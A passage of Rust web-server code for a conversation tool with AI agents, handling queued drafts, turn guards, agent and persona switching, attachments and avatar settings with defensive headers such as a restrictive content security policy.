9054                    return Err(ApiError::conflict(format!(
9055                        "talk {} is {} and takes no more turns",
9056                        talk.short(),
9057                        talk.status.as_str()
9058                    )));
9059                }
9060                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9061                    return Err(ApiError::conflict("there is no queued draft to resume"));
9062                }
9063                let (cfg, _) = Config::discover(&talk.repo, None)?;
9064                Ok((talk, cfg))
9065            })
9066            .await?
9067        };
9068        let view = TalkView::new(talk.clone(), true, &ui);
9069        let talks = ui.talks.clone();
9070        #[cfg(not(test))]
9071        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9072        #[cfg(test)]
9073        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9074        Ok((StatusCode::ACCEPTED, Json(view)))
9075    })
9076    .await
9077}
9078
9079/// Hand off an admitted draft while retaining the talk lease until its
9080/// detached startup reservation is durable.
9081#[cfg(not(test))]
9082async fn detach_talk_turn(
9083    _talk: Talk,
9084    talks: Talks,
9085    _cfg: Config,
9086    id: String,
9087    turn: TalkTurnGuard,
9088) -> ApiResult<()> {
9089    let launched = crate::consult::spawn_turn(&talks, &id).await;
9090    drop(turn);
9091    launched.map(|_| ()).map_err(ApiError::from)
9092}
9093
9094#[cfg(test)]
9095async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9096    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9097}
9098
9099/// A settings response must not report idle while its claim is still held.
9100/// Wait until the first drain either releases the claim or promotes a draft.
9101/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9102async fn settle_settings_turn(
9103    talk: Talk,
9104    talks: Talks,
9105    cfg: Config,
9106    id: String,
9107    turn: TalkTurnGuard,
9108    observed: u64,
9109) -> bool {
9110    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9111        let turns = Arc::clone(&turn.turns);
9112        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9113        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9114            // Release under the arrival lock; a later `/say` takes its own claim.
9115            turn.release(&mut live);
9116            return false;
9117        }
9118    }
9119    let (started, settled) = tokio::sync::oneshot::channel();
9120    tokio::spawn(drain_loop_started(
9121        talk,
9122        talks,
9123        cfg,
9124        id,
9125        turn,
9126        Some(started),
9127    ));
9128    settled.await.unwrap_or(false)
9129}
9130
9131#[cfg(not(test))]
9132async fn drain_loop_started(
9133    talk: Talk,
9134    talks: Talks,
9135    _cfg: Config,
9136    id: String,
9137    turn: TalkTurnGuard,
9138    started: Option<tokio::sync::oneshot::Sender<bool>>,
9139) {
9140    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9141    let running = if pending {
9142        match crate::consult::spawn_turn(&talks, &id).await {
9143            Ok(_) => true,
9144            Err(error) => {
9145                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9146                false
9147            }
9148        }
9149    } else {
9150        false
9151    };
9152    drop(turn);
9153    if let Some(started) = started {
9154        let _ = started.send(running);
9155    }
9156}
9157
9158// Existing in-process conversation tests exercise transcript/arrival ordering;
9159// real process-lifetime behavior is covered by the CLI integration tests.
9160#[cfg(test)]
9161async fn drain_loop_started(
9162    mut talk: Talk,
9163    talks: Talks,
9164    cfg: Config,
9165    id: String,
9166    turn: TalkTurnGuard,
9167    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9168) {
9169    let live_set = Arc::clone(&turn.turns);
9170    // `Option` rather than binding `turn` directly to a `_turn` that lives
9171    // for the whole function: releasing it has to happen by calling
9172    // `TalkTurnGuard::release` from inside the locked branch below, which
9173    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9174    // remove the id - correctly, if this loop is ever left some other way -
9175    // but doing it there misses the lock this loop is already holding, which
9176    // is the exact gap `release` exists to close.
9177    let mut turn = Some(turn);
9178    loop {
9179        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9180            // The lease was taken over while a turn ran. Whatever is queued
9181            // stays a draft; running it here would race the new owner.
9182            tracing::warn!("talk {id} lost its turn lease; not draining further");
9183            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9184            if let Some(turn) = turn.take() {
9185                turn.release(&mut live);
9186            }
9187            break;
9188        }
9189        // `talk::drain` takes the store lock and can write/rename the talk
9190        // file. Keep the turn mutex out of that synchronous work: it protects
9191        // every talk's in-memory claim, not this talk's disk operation.
9192        let observed = live_set
9193            .lock()
9194            .unwrap_or_else(PoisonError::into_inner)
9195            .queued
9196            .get(&id)
9197            .copied()
9198            .unwrap_or(0);
9199        let drained = blocking({
9200            let talks = talks.clone();
9201            move || {
9202                let result = talk::drain(&mut talk, &talks);
9203                Ok((talk, result))
9204            }
9205        })
9206        .await;
9207        let (next_talk, result) = match drained {
9208            Ok(drained) => drained,
9209            Err(e) => {
9210                tracing::warn!(
9211                    status = %e.status,
9212                    message = %e.message,
9213                    "talk {id} could not start queued-text drain"
9214                );
9215                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9216                turn.take()
9217                    .expect("held for the whole loop until released here")
9218                    .release(&mut live);
9219                break;
9220            }
9221        };
9222        talk = next_talk;
9223        let drained = match result {
9224            Ok(Some(drained)) => drained,
9225            Ok(None) => {
9226                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9227                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9228                    continue;
9229                }
9230                turn.take()
9231                    .expect("held for the whole loop until released here")
9232                    .release(&mut live);
9233                break;
9234            }
9235            Err(e) => {
9236                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9237                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9238                turn.take()
9239                    .expect("held for the whole loop until released here")
9240                    .release(&mut live);
9241                break;
9242            }
9243        };
9244        if let Some(started) = started.take() {
9245            let _ = started.send(true);
9246        }
9247        let responded = match turn.as_ref() {
9248            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9249            None => Err(anyhow::anyhow!("the turn guard was released")),
9250        };
9251        if let Err(e) = responded {
9252            tracing::warn!("talk {id} turn failed: {e:#}");
9253        }
9254    }
9255    drop(turn);
9256    if let Some(started) = started {
9257        let _ = started.send(false);
9258    }
9259}
9260
9261/// Clear a queued draft only if it remains exactly the one the caller saw.
9262async fn talk_pending_clear(
9263    State(ui): State<Arc<Ui>>,
9264    Path(id): Path<String>,
9265    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9266) -> ApiResult<Json<TalkView>> {
9267    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9268    blocking(move || {
9269        let id = resolve_talk(&ui.talks, &id)?;
9270        let mut talk = ui.talks.get(&id)?;
9271        if !talk.status.open() {
9272            return Err(ApiError::conflict(format!(
9273                "talk {} is {} and takes no more turns",
9274                talk.short(),
9275                talk.status.as_str()
9276            )));
9277        }
9278        if !talk::clear_pending_if_matches(
9279            &mut talk,
9280            &ui.talks,
9281            &body.expected_text,
9282            &body.expected_attachments,
9283        )? {
9284            return Err(ApiError::conflict(
9285                "queued message changed; reload it before clearing",
9286            ));
9287        }
9288        let thinking = ui.is_thinking(&talk.id);
9289        Ok(Json(TalkView::new(talk, thinking, &ui)))
9290    })
9291    .await
9292}
9293
9294/// Atomically edit a queued draft's text while preserving its attachments.
9295/// The snapshot fields make a concurrent queue or drain a conflict rather
9296/// than silently discarding either message.
9297async fn talk_pending_edit(
9298    State(ui): State<Arc<Ui>>,
9299    Path(id): Path<String>,
9300    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9301) -> ApiResult<Json<TalkView>> {
9302    let admission = ui.begin_admission()?;
9303    admitted(admission, async move {
9304        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9305        let id = {
9306            let ui = Arc::clone(&ui);
9307            blocking(move || resolve_talk(&ui.talks, &id)).await?
9308        };
9309        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9310            .await
9311            .map_err(ApiError::from)?;
9312        let (view, reclaimed) = blocking({
9313            let ui = Arc::clone(&ui);
9314            move || {
9315                let mut talk = ui.talks.get(&id)?;
9316                if !talk.status.open() {
9317                    return Err(ApiError::conflict(format!(
9318                        "talk {} is {} and takes no more turns",
9319                        talk.short(),
9320                        talk.status.as_str()
9321                    )));
9322                }
9323                if !talk::edit_pending_message(
9324                    &mut talk,
9325                    &ui.talks,
9326                    &body.text,
9327                    &body.expected_text,
9328                    &body.expected_attachments,
9329                    body.message,
9330                )? {
9331                    return Err(ApiError::conflict(
9332                        "queued message changed; reload it before editing",
9333                    ));
9334                }
9335                let claim = match ui.begin_queued_talk_turn(&id)? {
9336                    Some(turn_guard) => {
9337                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9338                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9339                    }
9340                    None => None,
9341                };
9342                let thinking = ui.is_thinking(&id);
9343                Ok((TalkView::new(talk, thinking, &ui), claim))
9344            }
9345        })
9346        .await?;
9347        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9348            let talks = ui.talks.clone();
9349            #[cfg(not(test))]
9350            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9351            #[cfg(test)]
9352            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9353        }
9354        Ok(Json(view))
9355    })
9356    .await
9357}
9358
9359/// The 409 for a talk that takes no more turns.
9360fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9361    if talk.status.open() {
9362        return Ok(());
9363    }
9364    Err(ApiError::conflict(format!(
9365        "talk {} is {} and takes no more turns",
9366        talk.short(),
9367        talk.status.as_str()
9368    )))
9369}
9370
9371/// The body of `POST /api/talks/{id}/agent`.
9372#[derive(Debug, Deserialize)]
9373struct TalkAgent {
9374    agent: String,
9375}
9376
9377/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9378/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9379/// start a turn on the old session between the check and the write; one that
9380/// arrives in that window finds the talk busy and becomes a draft.
9381async fn talk_agent(
9382    State(ui): State<Arc<Ui>>,
9383    Path(id): Path<String>,
9384    Json(body): Json<TalkAgent>,
9385) -> ApiResult<Json<TalkView>> {
9386    let admission = ui.begin_admission()?;
9387    admitted(admission, async move {
9388        let id = {
9389            let ui = Arc::clone(&ui);
9390            blocking(move || resolve_talk(&ui.talks, &id)).await?
9391        };
9392        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9393            .await
9394            .map_err(ApiError::from)?;
9395        let repo = {
9396            let ui = Arc::clone(&ui);
9397            let id = id.clone();
9398            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9399        };
9400        let cfg = config_for(&repo).await?;
9401        // Refuse before taking the claim; see `talk_implementers`.
9402        {
9403            let ui = Arc::clone(&ui);
9404            let id = id.clone();
9405            let cfg = cfg.clone();
9406            let wanted = body.agent.clone();
9407            blocking(move || {
9408                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9409                    .map_err(ApiError::bad_request_from)?;
9410                refuse_if_closed(&ui.talks.get(&id)?)
9411            })
9412            .await?;
9413        }
9414        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9415            return Err(ApiError::conflict(
9416                "a talk turn is running; change the agent once it has answered",
9417            ));
9418        };
9419        let switched = {
9420            let ui = Arc::clone(&ui);
9421            let id = id.clone();
9422            let cfg = cfg.clone();
9423            blocking(move || {
9424                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9425                    .map_err(ApiError::bad_request_from)?;
9426                let mut talk = ui.talks.get(&id)?;
9427                if !talk.status.open() {
9428                    return Err(ApiError::conflict(format!(
9429                        "talk {} is {} and takes no more turns",
9430                        talk.short(),
9431                        talk.status.as_str()
9432                    )));
9433                }
9434                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9435                Ok(talk)
9436            })
9437            .await
9438        };
9439        // A `/say` that landed while this held the claim saw the talk busy and
9440        // left a durable draft, trusting the claim's owner to drain it. So the
9441        // claim is settled whatever the outcome. Release an empty draft's claim
9442        // before replying; queued drafts continue independently of the handler.
9443        let observed = ui.queued_generation(&id);
9444        let fresh = {
9445            let ui = Arc::clone(&ui);
9446            let id = id.clone();
9447            blocking(move || Ok(ui.talks.get(&id)?)).await
9448        };
9449        let draining = match fresh {
9450            Ok(talk) => {
9451                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9452            }
9453            Err(_) => false,
9454        };
9455        let talk = switched?;
9456        Ok(Json(TalkView::new(talk, draining, &ui)))
9457    })
9458    .await
9459}
9460
9461/// The body of `POST /api/talks/{id}/persona`.
9462#[derive(Debug, Deserialize)]
9463struct TalkPersona {
9464    persona: String,
9465}
9466
9467/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9468/// like [`talk_agent`]: the turn guard is held for the change and always handed
9469/// to `drain_loop`, so a draft left meanwhile is not stranded.
9470async fn talk_persona(
9471    State(ui): State<Arc<Ui>>,
9472    Path(id): Path<String>,
9473    Json(body): Json<TalkPersona>,
9474) -> ApiResult<Json<TalkView>> {
9475    let admission = ui.begin_admission()?;
9476    admitted(admission, async move {
9477        let id = {
9478            let ui = Arc::clone(&ui);
9479            blocking(move || resolve_talk(&ui.talks, &id)).await?
9480        };
9481        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9482            .await
9483            .map_err(ApiError::from)?;
9484        let repo = {
9485            let ui = Arc::clone(&ui);
9486            let id = id.clone();
9487            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9488        };
9489        let cfg = config_for(&repo).await?;
9490        // Refuse before taking the claim; see `talk_implementers`.
9491        {
9492            let ui = Arc::clone(&ui);
9493            let id = id.clone();
9494            let cfg = cfg.clone();
9495            let wanted = body.persona.clone();
9496            blocking(move || {
9497                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9498                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9499                }
9500                refuse_if_closed(&ui.talks.get(&id)?)
9501            })
9502            .await?;
9503        }
9504        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9505            return Err(ApiError::conflict(
9506                "a talk turn is running; change the persona once it has answered",
9507            ));
9508        };
9509        let switched = {
9510            let ui = Arc::clone(&ui);
9511            let id = id.clone();
9512            let cfg = cfg.clone();
9513            blocking(move || {
9514                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9515                    return Err(ApiError::bad_request(format!(
9516                        "unknown persona `{}`",
9517                        body.persona
9518                    )));
9519                };
9520                let mut talk = ui.talks.get(&id)?;
9521                if !talk.status.open() {
9522                    return Err(ApiError::conflict(format!(
9523                        "talk {} is {} and takes no more turns",
9524                        talk.short(),
9525                        talk.status.as_str()
9526                    )));
9527                }
9528                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9529                Ok(talk)
9530            })
9531            .await
9532        };
9533        // As in `talk_agent`: settle the claim before replying, even on refusal.
9534        let observed = ui.queued_generation(&id);
9535        let fresh = {
9536            let ui = Arc::clone(&ui);
9537            let id = id.clone();
9538            blocking(move || Ok(ui.talks.get(&id)?)).await
9539        };
9540        let draining = match fresh {
9541            Ok(talk) => {
9542                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9543            }
9544            Err(_) => false,
9545        };
9546        let talk = switched?;
9547        Ok(Json(TalkView::new(talk, draining, &ui)))
9548    })
9549    .await
9550}
9551
9552/// The body of `POST /api/talks/{id}/implementers`.
9553#[derive(Debug, Deserialize)]
9554struct TalkImplementers {
9555    implementers: u8,
9556}
9557
9558/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9559/// like [`talk_agent`]: the turn guard is held for the change and always handed
9560/// to `drain_loop`, so a draft left meanwhile is not stranded.
9561async fn talk_implementers(
9562    State(ui): State<Arc<Ui>>,
9563    Path(id): Path<String>,
9564    Json(body): Json<TalkImplementers>,
9565) -> ApiResult<Json<TalkView>> {
9566    let admission = ui.begin_admission()?;
9567    admitted(admission, async move {
9568        let id = {
9569            let ui = Arc::clone(&ui);
9570            blocking(move || resolve_talk(&ui.talks, &id)).await?
9571        };
9572        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9573            .await
9574            .map_err(ApiError::from)?;
9575        let repo = {
9576            let ui = Arc::clone(&ui);
9577            let id = id.clone();
9578            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9579        };
9580        let cfg = config_for(&repo).await?;
9581        // Refuse a request that cannot succeed before taking the claim: a claim
9582        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9583        // moment, so a refusal would make the next request see "busy" instead of
9584        // its own answer. The checks after the claim stay the ones that decide.
9585        {
9586            let ui = Arc::clone(&ui);
9587            let id = id.clone();
9588            let cfg = cfg.clone();
9589            let wanted = body.implementers;
9590            blocking(move || {
9591                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9592                refuse_if_closed(&ui.talks.get(&id)?)
9593            })
9594            .await?;
9595        }
9596        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9597            return Err(ApiError::conflict(
9598                "a talk turn is running; change the implementers once it has answered",
9599            ));
9600        };
9601        let switched = {
9602            let ui = Arc::clone(&ui);
9603            let id = id.clone();
9604            let cfg = cfg.clone();
9605            blocking(move || {
9606                let chosen = talk::check_implementers(body.implementers, &cfg)
9607                    .map_err(ApiError::bad_request)?;
9608                let mut talk = ui.talks.get(&id)?;
9609                if !talk.status.open() {
9610                    return Err(ApiError::conflict(format!(
9611                        "talk {} is {} and takes no more turns",
9612                        talk.short(),
9613                        talk.status.as_str()
9614                    )));
9615                }
9616                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9617                Ok(talk)
9618            })
9619            .await
9620        };
9621        // As in `talk_agent`: settle the claim before replying, even on refusal.
9622        let observed = ui.queued_generation(&id);
9623        let fresh = {
9624            let ui = Arc::clone(&ui);
9625            let id = id.clone();
9626            blocking(move || Ok(ui.talks.get(&id)?)).await
9627        };
9628        let draining = match fresh {
9629            Ok(talk) => {
9630                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9631            }
9632            Err(_) => false,
9633        };
9634        let talk = switched?;
9635        Ok(Json(TalkView::new(talk, draining, &ui)))
9636    })
9637    .await
9638}
9639
9640/// `POST /api/talks/{id}/close`.
9641async fn talk_close(
9642    State(ui): State<Arc<Ui>>,
9643    Path(id): Path<String>,
9644) -> ApiResult<Json<TalkView>> {
9645    blocking(move || {
9646        let id = resolve_talk(&ui.talks, &id)?;
9647        let mut talk = ui.talks.get(&id)?;
9648        talk::close(&mut talk, &ui.talks)?;
9649        let thinking = ui.is_thinking(&talk.id);
9650        Ok(Json(TalkView::new(talk, thinking, &ui)))
9651    })
9652    .await
9653}
9654
9655/// `POST /api/talks/{id}/reopen`.
9656async fn talk_reopen(
9657    State(ui): State<Arc<Ui>>,
9658    Path(id): Path<String>,
9659) -> ApiResult<Json<TalkView>> {
9660    blocking(move || {
9661        let id = resolve_talk(&ui.talks, &id)?;
9662        let mut talk = ui.talks.get(&id)?;
9663        talk::reopen(&mut talk, &ui.talks)?;
9664        let thinking = ui.is_thinking(&talk.id);
9665        Ok(Json(TalkView::new(talk, thinking, &ui)))
9666    })
9667    .await
9668}
9669
9670/// `DELETE /api/talks/{id}`.
9671///
9672/// Removes the conversation's record and artifacts outright, unlike
9673/// [`talk_close`] which keeps the record as history. A turn already in
9674/// flight is not refused here the way [`run_delete`] refuses a live run:
9675/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9676/// under [`Talks::guard`], that the record they are about to write back is
9677/// still there, so a delete racing a turn is safe without this route having
9678/// to know a turn is running at all.
9679async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9680    blocking(move || {
9681        let id = resolve_talk(&ui.talks, &id)?;
9682        ui.talks.remove(&id)?;
9683        Ok(StatusCode::NO_CONTENT)
9684    })
9685    .await
9686}
9687
9688fn talk_ids(root: &FsPath) -> Vec<String> {
9689    std::fs::read_dir(root)
9690        .into_iter()
9691        .flatten()
9692        .flatten()
9693        .filter_map(|e| {
9694            let path = e.path();
9695            if path.extension().is_some_and(|ext| ext == "json") {
9696                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9697            } else {
9698                None
9699            }
9700        })
9701        .collect()
9702}
9703
9704/// Expand an id or short id to exactly one talk id.
9705fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9706    if plain_record_id(id) && store.path_of(id).is_file() {
9707        return Ok(id.to_owned());
9708    }
9709    pick(talk_ids(store.root()), id, "talk")
9710}
9711
9712/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9713/// future `talk-say`.
9714async fn talk_attachment_post(
9715    State(ui): State<Arc<Ui>>,
9716    Path(id): Path<String>,
9717    headers: HeaderMap,
9718    body: Bytes,
9719) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9720    let mime = validate_attachment(&headers, &body)?;
9721    let name = filename_header(&headers);
9722    let data = body.to_vec();
9723    blocking(move || {
9724        let id = resolve_talk(&ui.talks, &id)?;
9725        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9726        Ok((StatusCode::CREATED, Json(att)))
9727    })
9728    .await
9729}
9730
9731/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9732/// `<img>` tag in the transcript.
9733async fn talk_attachment_get(
9734    State(ui): State<Arc<Ui>>,
9735    Path((id, att)): Path<(String, String)>,
9736) -> ApiResult<Response> {
9737    blocking(move || {
9738        let id = resolve_talk(&ui.talks, &id)?;
9739        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9740            return Err(ApiError::not_found(format!(
9741                "talk {id} has no attachment `{att}`"
9742            )));
9743        };
9744        Ok(attachment_response(&meta.mime, data))
9745    })
9746    .await
9747}
9748
9749/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9750/// the icon setting, so changing it changes the URL.
9751fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9752    let id = avatar_encode(&p.id);
9753    format!(
9754        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9755        persona_icon::fingerprint(
9756            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9757        )
9758    )
9759}
9760
9761#[derive(Debug, Default, Deserialize)]
9762struct AvatarQuery {
9763    persona: Option<String>,
9764    /// Set by the page after the first load failed: skip the `icon`.
9765    builtin: Option<String>,
9766}
9767
9768/// Served with every built-in avatar: it is an image, so nothing else may run.
9769const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9770
9771fn builtin_avatar(id: &str) -> Response {
9772    svg_avatar(persona_icon::builtin_svg(id))
9773}
9774
9775async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9776    raster_or_builtin(
9777        read_icon_file(&avatar_setting_path(&ui.home, None))
9778            .filter(|_| q.builtin.is_none())
9779            .as_deref(),
9780        persona_icon::operator_svg(),
9781    )
9782}
9783
9784fn svg_avatar(svg: &'static str) -> Response {
9785    (
9786        [
9787            (header::CONTENT_TYPE, "image/svg+xml"),
9788            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9789            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9790            (header::CACHE_CONTROL, "no-cache"),
9791        ],
9792        svg,
9793    )
9794        .into_response()
9795}
9796
9797fn avatar_encode(value: &str) -> String {
9798    value
9799        .bytes()
9800        .map(|b| {
9801            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9802                char::from(b).to_string()
9803            } else {
9804                format!("%{b:02X}")
9805            }
9806        })
9807        .collect()
9808}
9809
9810// Display-only overrides live outside configuration and conversation records.
9811fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9812    let Some(id) = persona else {
9813        return home.join("avatars/operator.data");
9814    };
9815    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9816    let mut path = home.join("avatars/personas");
9817    for chunk in encoded.as_bytes().chunks(100) {
9818        path.push(std::str::from_utf8(chunk).expect("hex"));
9819    }
9820    path.join("icon.data")
9821}
9822
9823fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9824    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9825        Some(value) if value == "builtin" => Some(String::new()),
9826        Some(value) => Some(value),
9827        None => configured.map(str::to_owned),
9828    }
9829}
9830
9831fn operator_icon_url(home: &FsPath) -> String {
9832    format!(
9833        "/avatars/operator.svg?v={}",
9834        persona_icon::fingerprint(
9835            read_icon_file(&avatar_setting_path(home, None))
9836                .as_deref()
9837                .or(Some(persona_icon::operator_svg()))
9838        )
9839    )
9840}
9841
9842fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9843    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9844        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9845            attachment_response(mime, bytes)
9846        }
9847        _ => svg_avatar(builtin),
9848    };
9849    response
9850        .headers_mut()
9851        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9852    response
9853}
9854
9855#[derive(Default, Deserialize)]
9856struct AvatarSettingsQuery {
9857    repo: Option<PathBuf>,
9858    persona: Option<String>,
9859    builtin: Option<String>,
9860    inherit: Option<String>,
9861}
9862
9863fn avatar_settings_specs(
9864    ui: &Ui,
9865    repo: Option<PathBuf>,
9866) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9867    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9868    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9869        .map(|cfg| cfg.talk.personas)
9870        .unwrap_or_default();
9871    Ok((repo, specs))
9872}
9873
9874fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9875    let Ok(entries) = std::fs::read_dir(path) else {
9876        return;
9877    };
9878    for entry in entries.flatten() {
9879        let name = entry.file_name().to_string_lossy().into_owned();
9880        if name == "icon.data" {
9881            let bytes: Option<Vec<u8>> = prefix
9882                .as_bytes()
9883                .chunks(2)
9884                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9885                .collect();
9886            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9887                out.push(id);
9888            }
9889        } else if name.len() <= 100
9890            && !name.is_empty()
9891            && name.bytes().all(|b| b.is_ascii_hexdigit())
9892            && entry.file_type().is_ok_and(|t| t.is_dir())
9893        {
9894            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9895        }
9896    }
9897}
9898
9899async fn avatar_settings_get(
9900    State(ui): State<Arc<Ui>>,
9901    Query(q): Query<AvatarSettingsQuery>,
9902) -> ApiResult<Json<serde_json::Value>> {
9903    blocking(move || {
9904        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9905        let mut catalog = persona::catalog(&specs);
9906        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9907        let mut saved = Vec::new();
9908        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9909        for id in saved {
9910            if !catalog.iter().any(|p| p.id == id) {
9911                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9912            }
9913        }
9914        let personas: Vec<_> = catalog.iter().map(|p| {
9915            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9916            let override_state = match saved.as_deref() {
9917                Some("builtin") => "builtin",
9918                Some(_) => "custom",
9919                None => "inherit",
9920            };
9921            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9922            serde_json::json!({"id":p.id,"name":p.name,
9923                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9924                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9925                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9926        }).collect();
9927        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9928    }).await
9929}
9930
9931async fn settings_persona_avatar(
9932    State(ui): State<Arc<Ui>>,
9933    Query(q): Query<AvatarSettingsQuery>,
9934) -> ApiResult<Response> {
9935    blocking(move || {
9936        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9937        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9938        let found = persona::find(&specs, id);
9939        let icon =
9940            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9941        Ok(raster_or_builtin(
9942            icon.as_deref().filter(|_| q.builtin.is_none()),
9943            persona_icon::builtin_svg(id),
9944        ))
9945    })
9946    .await
9947}
9948
9949fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9950    if q.persona
9951        .as_ref()
9952        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9953    {
9954        return Err(ApiError::bad_request("invalid persona id"));
9955    }
9956    Ok(())
9957}
9958
9959async fn avatar_settings_put(
9960    State(ui): State<Arc<Ui>>,
9961    Query(q): Query<AvatarSettingsQuery>,
9962    Json(upload): Json<MagiIconUpload>,
9963) -> ApiResult<Json<serde_json::Value>> {
9964    blocking(move || {
9965        validate_avatar_target(&q)?;
9966        save_icon_file(
9967            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9968            &upload.icon,
9969        )
9970        .map_err(ApiError::bad_request_from)?;
9971        Ok(Json(serde_json::json!({"saved":true})))
9972    })
9973    .await
9974}
9975
9976async fn avatar_settings_delete(
9977    State(ui): State<Arc<Ui>>,
9978    Query(q): Query<AvatarSettingsQuery>,
9979) -> ApiResult<Json<serde_json::Value>> {
9980    blocking(move || {
